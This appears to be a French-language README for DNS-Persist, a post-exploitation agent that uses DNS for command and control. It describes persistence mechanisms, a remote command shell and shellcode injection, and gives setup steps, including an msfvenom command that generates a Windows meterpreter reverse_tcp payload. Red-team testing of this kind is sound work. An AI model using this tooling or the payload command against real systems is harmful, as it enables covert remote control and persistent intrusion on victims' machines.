
DNS-Persist is a post-exploitation agent which uses DNS for command and control.
DNS-Persist est un agent de post-exploitation qui utilise DNS pour le contrôle et la commande (C2). Le code côté serveur est en Python et l'agent est codé en C++. Il s'agit de la première version, plus de fonctionnalités et d'améliorations seront apportées à l'avenir.
0x09AL - https://twitter.com/0x09al
N'UTILISEZ PAS CE LOGICIEL À DES FINS ILLÉGALES.
L'AUTEUR N'ASSUME AUCUNE RESPONSABILITÉ EN CAS DE MAUVAISE UTILISATION DU CODE FOURNI ICI.
Il existe beaucoup d'excellents travaux sur les C2 DNS mais j'ai créé ce logiciel pour me concentrer davantage sur la partie persistance. Je ne suis pas expert en C++ et c'est mon premier « vrai programme » en C++ (attendez-vous donc à un code un peu gênant).
Les suggestions concernant les fonctionnalités et les améliorations sont les bienvenues.
Il y a deux parties principales :

Cette version ne comporte que 3 mécanismes de persistance. D'autres seront ajoutés ultérieurement.
Cette version prend en charge un shell de commandes pseudo-interactif que vous pouvez utiliser pour exécuter des commandes système.
Cette version prend en charge l'injection de shellcode 32 bits. Le shellcode est exécuté dans un nouveau thread du même processus, donc un shellcode qui plante ou invalide plantera également l'agent. Évitez les octets NULL dans le shellcode.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
Par défaut, un serveur DNS sur le port 53 sera démarré. Vous pouvez le modifier dans le fichier server.py.
J'ai utilisé Visual Studio 2010 pour coder l'agent, donc l'importer et le compiler devrait être assez facile.
N'oubliez pas de modifier la variable DOMAIN_NAME dans Declarations.h pour qu'elle corresponde à votre nom de domaine.
Les serveurs de noms du domaine doivent pointer vers l'adresse IP de DNS-Persist.
#define DOMAIN_NAME "example.com"



